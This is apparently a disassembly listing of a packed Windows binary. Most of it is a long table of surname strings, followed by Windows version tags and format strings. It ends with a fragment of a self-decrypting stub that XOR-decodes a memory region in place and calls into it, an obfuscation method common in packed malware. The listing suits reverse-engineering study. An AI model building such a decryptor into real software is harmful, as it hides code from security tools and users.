aFeldman	db 'Feldman',0          ; DATA XREF: .nsp0:004347B8o
aFejzo		db 'Fejzo',0            ; DATA XREF: .nsp0:004347B4o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .nsp0:004347B0o
		align 4
aFates		db 'Fates',0            ; DATA XREF: .nsp0:004347ACo
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: .nsp0:004347A8o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .nsp0:004347A4o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: .nsp0:004347A0o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: .nsp0:0043479Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: .nsp0:00434798o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .nsp0:00434794o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .nsp0:00434790o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: .nsp0:0043478Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: .nsp0:00434788o
aEverett	db 'Everett',0          ; DATA XREF: .nsp0:00434784o
aEuripides	db 'Euripides',0        ; DATA XREF: .nsp0:00434780o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .nsp0:0043477Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .nsp0:00434778o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .nsp0:00434774o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: .nsp0:00434770o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .nsp0:0043476Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: .nsp0:00434768o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: .nsp0:00434764o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: .nsp0:00434760o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .nsp0:0043475Co
aEncinas	db 'Encinas',0          ; DATA XREF: .nsp0:00434758o
aElvis		db 'Elvis',0            ; DATA XREF: .nsp0:00434754o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: .nsp0:00434750o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .nsp0:0043474Co
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: .nsp0:00434748o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .nsp0:00434744o
aEdward		db 'Edward',0           ; DATA XREF: .nsp0:00434740o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .nsp0:0043473Co
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: .nsp0:00434738o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: .nsp0:00434734o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: .nsp0:00434730o
aEardley	db 'Eardley',0          ; DATA XREF: .nsp0:0043472Co
aDwyer		db 'Dwyer',0            ; DATA XREF: .nsp0:00434728o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: .nsp0:00434724o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .nsp0:00434720o
aDuffin		db 'Duffin',0           ; DATA XREF: .nsp0:0043471Co
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .nsp0:00434718o
aDrinker	db 'Drinker',0          ; DATA XREF: .nsp0:00434714o
aDowsland	db 'Dowsland',0         ; DATA XREF: .nsp0:00434710o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: .nsp0:0043470Co
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .nsp0:00434708o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: .nsp0:00434704o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .nsp0:00434700o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: .nsp0:004346FCo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .nsp0:004346F8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: .nsp0:004346F4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: .nsp0:004346F0o
aDoherty	db 'Doherty',0          ; DATA XREF: .nsp0:004346ECo
aDockery	db 'Dockery',0          ; DATA XREF: .nsp0:004346E8o
aDirksen	db 'Dirksen',0          ; DATA XREF: .nsp0:004346E4o
aDionysius	db 'Dionysius',0        ; DATA XREF: .nsp0:004346E0o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .nsp0:004346DCo
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: .nsp0:004346D8o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .nsp0:004346D4o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .nsp0:004346D0o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: .nsp0:004346CCo
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .nsp0:004346C8o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: .nsp0:004346C4o
aDesombre	db 'Desombre',0         ; DATA XREF: .nsp0:004346C0o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .nsp0:004346BCo
aDenham		db 'Denham',0           ; DATA XREF: .nsp0:004346B8o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .nsp0:004346B4o
aDemusz		db 'Demusz',0           ; DATA XREF: .nsp0:004346B0o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .nsp0:004346ACo
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: .nsp0:004346A8o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .nsp0:004346A4o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .nsp0:004346A0o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .nsp0:0043469Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .nsp0:00434698o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .nsp0:00434694o
		align 4
aDees		db 'Dees',0             ; DATA XREF: .nsp0:00434690o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .nsp0:0043468Co
aDerousse	db 'deRousse',0         ; DATA XREF: .nsp0:00434688o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .nsp0:00434684o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .nsp0:00434680o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .nsp0:0043467Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .nsp0:00434678o
aDavid		db 'David',0            ; DATA XREF: .nsp0:00434674o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .nsp0:00434670o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .nsp0:0043466Co
		align 4
aDas		db 'Das',0              ; DATA XREF: .nsp0:00434668o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .nsp0:00434664o
aDapice		db 'Dapice',0           ; DATA XREF: .nsp0:00434660o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: .nsp0:0043465Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: .nsp0:00434658o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .nsp0:00434654o
aDaly		db 'Daly',0             ; DATA XREF: .nsp0:00434650o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: .nsp0:0043464Co
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .nsp0:00434648o
aCyders		db 'Cyders',0           ; DATA XREF: .nsp0:00434644o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .nsp0:00434640o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .nsp0:0043463Co
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .nsp0:00434638o
aCui		db 'Cui',0              ; DATA XREF: .nsp0:00434634o
aCroxton	db 'Croxton',0          ; DATA XREF: .nsp0:00434630o
aCroxen		db 'Croxen',0           ; DATA XREF: .nsp0:0043462Co
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: .nsp0:00434628o
aCrocker	db 'Crocker',0          ; DATA XREF: .nsp0:00434624o
aCrawford	db 'Crawford',0         ; DATA XREF: .nsp0:00434620o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .nsp0:0043461Co
aCounter	db 'Counter',0          ; DATA XREF: .nsp0:00434618o
aCosmides	db 'Cosmides',0         ; DATA XREF: .nsp0:00434614o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: .nsp0:00434610o
aCorey		db 'Corey',0            ; DATA XREF: .nsp0:0043460Co
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: .nsp0:00434608o
aCondodina	db 'Condodina',0        ; DATA XREF: .nsp0:00434604o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .nsp0:00434600o
aComstock	db 'Comstock',0         ; DATA XREF: .nsp0:004345FCo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .nsp0:004345F4o
					; .nsp0:004345F8o
aCollis		db 'Collis',0           ; DATA XREF: .nsp0:004345F0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: .nsp0:004345ECo
aColella	db 'Colella',0          ; DATA XREF: .nsp0:004345E8o
aColdren	db 'Coldren',0          ; DATA XREF: .nsp0:004345E4o
aCoito		db 'Coito',0            ; DATA XREF: .nsp0:004345E0o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .nsp0:004345DCo
aClow		db 'Clow',0             ; DATA XREF: .nsp0:004345D8o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: .nsp0:004345D4o
aClement	db 'Clement',0          ; DATA XREF: .nsp0:004345D0o
aClark		db 'Clark',0            ; DATA XREF: .nsp0:004345CCo
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: .nsp0:004345C8o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .nsp0:004345C4o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .nsp0:004345C0o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .nsp0:004345BCo
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .nsp0:004345B8o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: .nsp0:004345B4o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: .nsp0:004345B0o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .nsp0:004345ACo
aChristopher	db 'Christopher',0      ; DATA XREF: .nsp0:004345A8o
aChristie	db 'Christie',0         ; DATA XREF: .nsp0:004345A4o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: .nsp0:004345A0o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .nsp0:0043459Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: .nsp0:00434598o
aChinman	db 'Chinman',0          ; DATA XREF: .nsp0:00434594o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .nsp0:00434590o
aChilds		db 'Childs',0           ; DATA XREF: .nsp0:0043458Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: .nsp0:00434588o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .nsp0:00434584o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .nsp0:00434580o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .nsp0:0043457Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .nsp0:00434578o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .nsp0:00434574o
		align 4
aCharles_0	db 'Charles',0          ; DATA XREF: .nsp0:00434570o
aChapman	db 'Chapman',0          ; DATA XREF: .nsp0:0043456Co
aCerioli	db 'Cerioli',0          ; DATA XREF: .nsp0:00434568o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .nsp0:00434564o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: .nsp0:00434560o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .nsp0:0043455Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .nsp0:00434558o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: .nsp0:00434554o
		align 4
aCase		db 'Case',0             ; DATA XREF: .nsp0:00434550o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: .nsp0:0043454Co
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: .nsp0:00434548o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .nsp0:00434544o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .nsp0:00434540o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .nsp0:0043453Co
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: .nsp0:00434538o
aCarlos		db 'Carlos',0           ; DATA XREF: .nsp0:00434534o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: .nsp0:00434530o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .nsp0:0043452Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .nsp0:00434528o
aCapursi	db 'Capursi',0          ; DATA XREF: .nsp0:00434524o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .nsp0:00434520o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .nsp0:0043451Co
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .nsp0:00434518o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: .nsp0:00434514o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .nsp0:00434510o
aCanley		db 'Canley',0           ; DATA XREF: .nsp0:0043450Co
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .nsp0:00434508o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: .nsp0:00434504o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .nsp0:00434500o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .nsp0:004344FCo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .nsp0:004344F8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .nsp0:004344F4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .nsp0:004344F0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .nsp0:004344ECo
aBurridge	db 'Burridge',0         ; DATA XREF: .nsp0:004344E8o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: .nsp0:004344E4o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .nsp0:004344E0o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: .nsp0:004344DCo
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: .nsp0:004344D8o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: .nsp0:004344D4o
aBudding	db 'Budding',0          ; DATA XREF: .nsp0:004344D0o
aBuchan		db 'Buchan',0           ; DATA XREF: .nsp0:004344CCo
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .nsp0:004344C8o
aBrook		db 'Brook',0            ; DATA XREF: .nsp0:004344C4o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .nsp0:004344C0o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: .nsp0:004344BCo
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: .nsp0:004344B8o
aBridges	db 'Bridges',0          ; DATA XREF: .nsp0:004344B4o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .nsp0:004344B0o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .nsp0:004344A8o
					; .nsp0:004344ACo
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .nsp0:004344A4o
aBrenan		db 'Brenan',0           ; DATA XREF: .nsp0:004344A0o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .nsp0:0043449Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .nsp0:00434498o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .nsp0:00434494o
aBradac		db 'Bradac',0           ; DATA XREF: .nsp0:00434490o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .nsp0:0043448Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .nsp0:00434488o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: .nsp0:00434484o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .nsp0:00434480o
aBoyes		db 'Boyes',0            ; DATA XREF: .nsp0:0043447Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .nsp0:00434478o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .nsp0:00434474o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .nsp0:00434470o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .nsp0:0043446Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: .nsp0:00434468o
aBoudin		db 'Boudin',0           ; DATA XREF: .nsp0:00434464o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: .nsp0:00434460o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .nsp0:0043445Co
aBossi		db 'Bossi',0            ; DATA XREF: .nsp0:00434458o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .nsp0:00434454o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: .nsp0:00434450o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .nsp0:0043444Co
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .nsp0:00434448o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .nsp0:00434444o
		align 4
aBook_0		db 'Book',0             ; DATA XREF: .nsp0:00434440o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: .nsp0:0043443Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .nsp0:00434438o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .nsp0:00434434o
		align 10h
aBoner_0	db 'Boner',0            ; DATA XREF: .nsp0:00434430o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .nsp0:0043442Co
aBollinger	db 'Bollinger',0        ; DATA XREF: .nsp0:00434428o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .nsp0:00434424o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .nsp0:00434420o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .nsp0:0043441Co
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .nsp0:00434418o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .nsp0:00434414o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .nsp0:00434410o
aBloch		db 'Bloch',0            ; DATA XREF: .nsp0:0043440Co
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .nsp0:00434408o
aBliss		db 'Bliss',0            ; DATA XREF: .nsp0:00434404o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .nsp0:00434400o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .nsp0:004343FCo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: .nsp0:004343F8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .nsp0:004343F4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .nsp0:004343F0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: .nsp0:004343ECo
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: .nsp0:004343E8o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: .nsp0:004343E4o
aBinion		db 'Binion',0           ; DATA XREF: .nsp0:004343E0o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .nsp0:004343DCo
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .nsp0:004343D8o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: .nsp0:004343D4o
aBetti		db 'Betti',0            ; DATA XREF: .nsp0:004343D0o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .nsp0:004343CCo
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: .nsp0:004343C8o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .nsp0:004343C4o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .nsp0:004343C0o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .nsp0:004343BCo
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .nsp0:004343B8o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .nsp0:004343B4o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .nsp0:004343B0o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .nsp0:004343ACo
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .nsp0:004343A8o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .nsp0:004343A4o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .nsp0:004343A0o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .nsp0:0043439Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .nsp0:00434398o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: .nsp0:00434394o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .nsp0:00434390o
aBedford	db 'Bedford',0          ; DATA XREF: .nsp0:0043438Co
aBeder		db 'Beder',0            ; DATA XREF: .nsp0:00434388o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .nsp0:00434384o
aBean		db 'Bean',0             ; DATA XREF: .nsp0:00434380o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .nsp0:0043437Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .nsp0:00434378o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .nsp0:00434374o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .nsp0:00434370o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .nsp0:0043436Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .nsp0:00434368o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .nsp0:00434364o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: .nsp0:00434360o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .nsp0:0043435Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .nsp0:00434358o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .nsp0:00434354o
aBarry		db 'Barry',0            ; DATA XREF: .nsp0:00434350o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .nsp0:0043434Co
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: .nsp0:00434348o
aBarneson	db 'Barneson',0         ; DATA XREF: .nsp0:00434344o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .nsp0:00434340o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: .nsp0:0043433Co
aBaranowska	db 'Baranowska',0       ; DATA XREF: .nsp0:00434338o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .nsp0:00434334o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: .nsp0:00434330o
aBarabesi	db 'Barabesi',0         ; DATA XREF: .nsp0:0043432Co
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .nsp0:00434328o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .nsp0:00434324o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .nsp0:00434320o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .nsp0:0043431Co
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .nsp0:00434318o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .nsp0:00434314o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .nsp0:00434310o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .nsp0:0043430Co
aBaglivo	db 'Baglivo',0          ; DATA XREF: .nsp0:00434308o
aBady		db 'Bady',0             ; DATA XREF: .nsp0:00434304o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .nsp0:00434300o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .nsp0:004342FCo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: .nsp0:004342F8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: .nsp0:004342F4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .nsp0:004342F0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .nsp0:004342ECo
aAxworthy	db 'Axworthy',0         ; DATA XREF: .nsp0:004342E8o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .nsp0:004342E4o
aAurelius	db 'Aurelius',0         ; DATA XREF: .nsp0:004342E0o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: .nsp0:004342DCo
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .nsp0:004342D8o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .nsp0:004342D4o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .nsp0:004342D0o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .nsp0:004342CCo
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: .nsp0:004342C8o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .nsp0:004342C4o
aArbia		db 'Arbia',0            ; DATA XREF: .nsp0:004342C0o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .nsp0:004342BCo
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .nsp0:004342B8o
aAnsley		db 'Ansley',0           ; DATA XREF: .nsp0:004342B4o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .nsp0:004342B0o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: .nsp0:004342ACo
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .nsp0:004342A8o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .nsp0:004342A4o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .nsp0:004342A0o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .nsp0:0043429Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .nsp0:00434298o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .nsp0:00434294o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .nsp0:00434290o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .nsp0:0043428Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .nsp0:00434288o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .nsp0:00434284o
aAltavilla	db 'Altavilla',0        ; DATA XREF: .nsp0:00434280o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .nsp0:0043427Co
		align 4
aAllison_0	db 'Allison',0          ; DATA XREF: .nsp0:00434278o
aAleks		db 'Aleks',0            ; DATA XREF: .nsp0:00434274o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .nsp0:00434270o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .nsp0:0043426Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .nsp0:00434268o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .nsp0:00434264o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .nsp0:00434260o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .nsp0:0043425Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .nsp0:00434258o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .nsp0:off_434254o
aAdams		db 'Adams',0            ; DATA XREF: .nsp0:00434250o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .nsp0:0043424Co
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .nsp0:off_434248o
		align 10h
aPc_0		db 'PC',0               ; DATA XREF: .nsp0:0040AD49o
		align 4
aS_3		db '%s|',0              ; DATA XREF: .nsp0:0040ADF4o
aS_4		db '[%s]|',0            ; DATA XREF: .nsp0:0040AEFEo
		align 10h
a???		db '???',0              ; DATA XREF: .nsp0:loc_40AEF5o
					; sub_41B2E4:loc_41B3A7o
a2k3		db '2K3',0              ; DATA XREF: .nsp0:0040AEEEo
a2k		db '2K',0               ; DATA XREF: .nsp0:0040AED0o
					; sub_41B2E4+98o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .nsp0:0040AEB7o
					; sub_41B2E4+7Eo
		align 10h
a98		db '98',0               ; DATA XREF: .nsp0:0040AEA7o
					; sub_41B2E4+6Co
		align 4
aNt_0		db 'NT',0               ; DATA XREF: .nsp0:0040AE97o
					; sub_41B2E4+5Ao
		align 4
a95		db '95',0               ; DATA XREF: .nsp0:0040AE89o
					; sub_41B2E4+46o
		align 4
aD_2		db '[%d]',0             ; DATA XREF: sub_40AF44+1Bo
		align 4
		jmp	short loc_437ED8
; ---------------------------------------------------------------------------


loc_437ED6:				; CODE XREF: .nsp0:loc_437ED8p
		jmp	short loc_437EDD
; ---------------------------------------------------------------------------


loc_437ED8:				; CODE XREF: .nsp0:00437ED4j
		call	loc_437ED6


loc_437EDD:				; CODE XREF: .nsp0:loc_437ED6j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_437EE4:				; CODE XREF: .nsp0:00437EE9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_437EE4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_437EFA:				; CODE XREF: .nsp0:00437EFFj
